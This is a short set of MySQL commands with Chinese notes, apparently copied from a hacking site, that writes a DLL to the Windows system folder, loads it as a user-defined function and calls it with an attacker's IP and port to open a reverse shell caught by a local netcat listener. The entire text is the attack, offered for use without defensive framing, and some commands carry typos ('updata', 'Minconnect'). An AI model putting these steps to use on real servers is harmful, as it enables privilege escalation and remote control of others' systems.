create table Mix(data LONGBLOB);
insert Mix values("");updata Mix set data = @a;
select data from Mix into DUMPFILE 'c:\\winnt\\Mix.dll';
mysql -h主机地址 -u用户名 -p用户密码
mysql>use mysql;
mysql>\. c:\*.dll.txt
mysql>CREATE FUNCTION Mixconnect RETURNS STRING SONAME 'C:\\winnt\\mix.dll';
mysql>Select Minconnect('your ip','port');
然后在本地,nc -vv -l -p port
(出处:http://www.sheup.com)